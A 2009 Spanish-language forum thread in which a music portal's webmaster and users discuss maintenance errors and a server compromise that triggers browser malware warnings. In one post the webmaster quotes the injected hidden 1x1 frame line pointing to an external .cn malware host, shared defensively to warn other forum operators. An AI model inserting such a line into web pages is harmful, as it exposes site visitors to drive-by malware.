Ayer, Problemas en los foros ! mantenimiento.

pues eso mismo. que ayer durante unas horas hubo una parada de mantenimiento y alguno igual pensó que era problema suyo. pues no. decidimos actualizar a la ultima version dentro de la version 2. ahora estamos con la 23 y este año esperamos pasar a la 3. pero es que es mucho trabajo y hay que buscar

Foro de origen: Off Topic — Iniciado por: webmaster el 10/1/2009 10:16 · Ver hilo original

También ayer el portal recibió otro intento de hackeo por parte de los malos. En este caso rusos y chinos… XD. y la web estuvo expuesta durante un rato a ser utilizada por spamers. casualmente andaba dando un “garbeo” por el ftp y vi las anomalias. La cosa podria haber sido peor, pero al pillar pronto a los intrusos esperamos que lleguen pocos correos de la forma nombre@gruposriojanos.es invitando a comprar viagra. aprovecharemos tb para incluir el sitio en las listas blancas de google de no spam con los codigos de seguridad que estamos esperando.

un saludo.

Respuestas (27)

desdicha — 10/1/2009 10:37

Yo no puedo acceder a los mensajes, ni enviar ni recibir por tanto. Me sale el siguiente error cuando trato de acceder pero desconozco de que puede ser:

Parse error: syntax error, unexpected ’}’ in /web/htdocs/www.gruposriojanos.es/home/foro/privmsg.php on line 894

Gracias Un saludo

webmaster — 10/1/2009 11:08

ok gracias por el aviso. creo que ya está . imagino que saldrá algun error mas de estos hasta que todo esté chequeado. un saludo.

Miguel_ — 10/1/2009 11:12

Gracias webos master ;)

alaska — 10/1/2009 11:19

Yo ayer el unico problema que tenia es que no podia acceer al index del foro pero podia ver mis mensajes y tambien acceder a los apartados del foro. Hoy de momento sin problemas.

desdicha — 10/1/2009 11:23

Todo ok. Un saludo

webmaster — 10/1/2009 11:34

@alaska wrote:

Yo ayer el unico problema que tenia es que no podia acceer al index del foro pero podia ver mis mensajes y tambien acceder a los apartados del foro. Hoy de momento sin problemas.

jeje !! y eso te parece poco problema ?

bueno. por si alguno de por aqui gestiona algun foro de este estilo en sus webs pongo las linea de codigo malicioso.

src =” http://litedownloadseek.cn/in.cgi?cocacola5” width=1 height=1 style=” visibility: hidden” >

ya he reportado este ataque a donde corresponde. esperemos que no hayan dejado criadillas… XD

azido — 10/1/2009 11:37

Yo desde casa no he probado, pero desde el ordenador del curro tengo problemas dede ayer. Para entrar al foro tengo que ir directamente a la página “http://www.gruposriojanos.es/foro/index.php” porque si voy al index de gruposriojanos me salta una alerta del panda o incluso se me cierra el explorer. No se si te servirá de algo esta información. Saludos

webmaster — 10/1/2009 11:45

@azido wrote:

Yo desde casa no he probado, pero desde el ordenador del curro tengo problemas dede ayer. Para entrar al foro tengo que ir directamente a la página “http://www.gruposriojanos.es/foro/index.php” porque si voy al index de gruposriojanos me salta una alerta del panda o incluso se me cierra el explorer. No se si te servirá de algo esta información. Saludos

pero esa alerta te saltaba ayer o tb te está saltando ahora ? si es asi, mira a ver que dice, que infeccion y lo cuelgas aqui. :?

webmaster — 10/1/2009 11:58

ok por lo que veo sigue en el FTP. es que este portal tiene diferentes servidores en italia , unos corren en linux y otros en windows.

com ves la advertencia es la que habia visto. bueno, me queda una mañanita completita !!! XD. si alguno tiene conocimientos antiviricus , que avise, asi hacemos antes.

azido — 10/1/2009 12:33

--- Editado ---

Te comento a tiempo real. Ahora mismo (en el curro) no me ha saltado el aviso del Panda, pero antes si. Él panda de mi curro está en red, como todos los ordenadores, es decir que no puedo controlar nada del programa salvo para hacer chuequeos de los discos duros. Es el administrador quien tiene acceso al resto de opciones. Simplemente me saltaba un aviso de peligro, pero no te puedo dar mas datos.

En cuanto al aviso del explorer si te puedo dar más información. También puede ser cuestión de mi ordenador y no del portal (aunque me extraña orque hasta el momento no había tenido ningún problema).

Entro en el index de gruposriojanos. Se carga toda la página (o casi toda) y a los segundos aparece el aviso del explorer. Pantalla de fondo blanca y aviso:

Informe de errores:

Información técnica:

Cierro todas las ventanas y se cierra el navegador.

No se si te servirá de ayuda o no. Como ya te he dicho tampoco se si es cuestión de mi PC o no. No descartes ninguna opción. Si alguien le sucede algo parecido sería conveniente contrastar opiniones.

Saludos

webmaster — 10/1/2009 13:06

epa. gracias por las molestias. ese error ,creo que es de tu pc. la web gruposriojanos.es no envia ningun mensaje de error . son los navegadores a través de google. por ejemplo esa pantalla que he colgado arriba solo se puede ver desde chrome. ni explorer ni firefox la envian. esto es pq esa linea de codigo ya la tiene google en su base de datos de malware. entonces te avisa. el asunto es borrarlo cuanto antes pq si no google te envia a una lista de “chicos malos” y apareces en listas negras. de todas formas este portal tiene una acreditacion especial de seguridad de google, asi que espero que me de tiempo de borrar todo eso y ver si hay alguna cosa mas. el problema es que gruposriojanos.es ocupa cerca de 2 gigas. y eso por ftp es muuucho tiempo. ale, si alguien tiene alguna novedad que la cuelgue. seguro que apareremos en buscadores cuando pongan esa linea FAKE. hasta ayer solo aparecia en idioma chino y ruso…

desdicha — 12/1/2009 15:32

Ahi va el mismo problema en el google chrome al entrar a www.gruposriojanos.es/rioja-rock/

garba — 12/1/2009 16:12

epa. pues eso imagino que ya es de la cache. el sistema creo questá limpio. lo que pasa es que google nos mantendra en cuarentena !!! Xd

nqd — 13/1/2009 08:59

joder pues a mi no me sale ninguna alerta de esas en el firefox ni en el nod32 :???:

alaska — 14/1/2009 08:45

Volvemos a tener problemillas, me sale el error de hace unos dias, vamos que no se puede entraral indez del foro. Me he metido aki de otra forma.

Javi Moondomain — 14/1/2009 10:08

Esto es lo que me sale a mí hoy cuando intento entrar al foro. Sólo puedo escribir en los últimos mensajes de la página de presentación:

Parse error: syntax error, unexpected ’?’ in /web/htdocs/www.gruposriojanos.es/home/foro/index.php on line 470

Piny — 14/1/2009 10:39

Eh, k pasa aki, k puta mierda es esta? Que me devuelvan mi dinero! :-D

webmaster — 14/1/2009 10:55

ejem!!! pues después de estar mas de 24 horas subiendo informacion “los malos” no han aceptado la invitacion de marcharse y siguen por el host dando guerra. se limpiaron cientos de lineas de codigo , pero hoy vuelven a estar infectadas. se acaban de limpiar otra vez, pq ya se que es lo que hacen , pero lamentablemente no se desde donde lo hacen. se han cambiado todos los passwords de los ftps italianos, pero ya las tienen otra vez. El troyano malware parece que esta haciendo estragos. en la web amiga de piperrak.org tb la han atacado y como no conseguian limpiarlo han tenido que quitar los foros. nostros les dimos el aviso de como hacerlo, tanto a ellos como a otros hosts. todavia hay poca info en ingles, solo en ruso y finlandes. asi que habrá que esperar que el virus se haga popular para que las empresas de hosting lo metan en sus limpiadores de red. pero como os digo es solo a nivel de servidores no a nivel de usuarios.

De todas formas para los usuarios no hay ningun peligro, asi que no tengais miedo XD.

alaska — 14/1/2009 10:55

Me parece que ya han mudado o trasladado el foro a otro server o algo, porque cuando te vas a logear sale en ingles. Bueno ya esta arreglado. O eso parece… :shock:

Piny — 14/1/2009 11:09

No entiendo una palabra de lo k dices webmaster, pero confiamos en ti! :-D

davidurodeoido — 14/1/2009 14:46

menos mal, yo ya le había puesto un condón al cpu :-D :-D :-D

nqd — 14/1/2009 14:52

ahora si que me sale la advertencia esa… y a saco ademas.

webmaster — 14/1/2009 16:17

no hay miedo … ¡ estamos trabajando en ello ! :-D Mientras os sigan saliendo esas ventanitas tan rojas y tan chulas lo poneis por aqui, y cuando lleveis un par de dias sin verlas , pues tb, asi veremos si estamos consiguiendo algo. nos acabamos de hermanar con la oficina federal de st petesburo. la ultima web atacada el 11 de enero. el mismo dia que nosotros http://www.itsec.ru/newstext.php?news\_id=53784 ala , para que practiqueis el ruso.

metal_king — 14/1/2009 16:32

Joder webmaster. Tú y yo tenemos que tener otra conversación sobre esta gentuza.

Que sepas que el ordenata de mi casa acaba de ser destruído, aunque no sé si por un virus.

Esta gente es Falso Metal. :-)

davidurodeoido — 14/1/2009 16:41

@metal_king wrote:

Joder webmaster. Tú y yo tenemos que tener otra conversación sobre esta gentuza.

Que sepas que el ordenata de mi casa acaba de ser destruído, aunque no sé si por un virus.

Esta gente es Falso Metal. :-)

son hijos de la gran puta más bien :x

webmaster — 16/1/2009 12:04

después de 3 dias limpios google.es nos ha vuelto a dar el visto bueno. a ver cuanto dura… .XD.

alaska — 16/1/2009 12:24

jolin, ayer fue el primer dia que me salio la alerta roja. Que mania la he cojido. A ver lo que duramos, espero que sea mucho…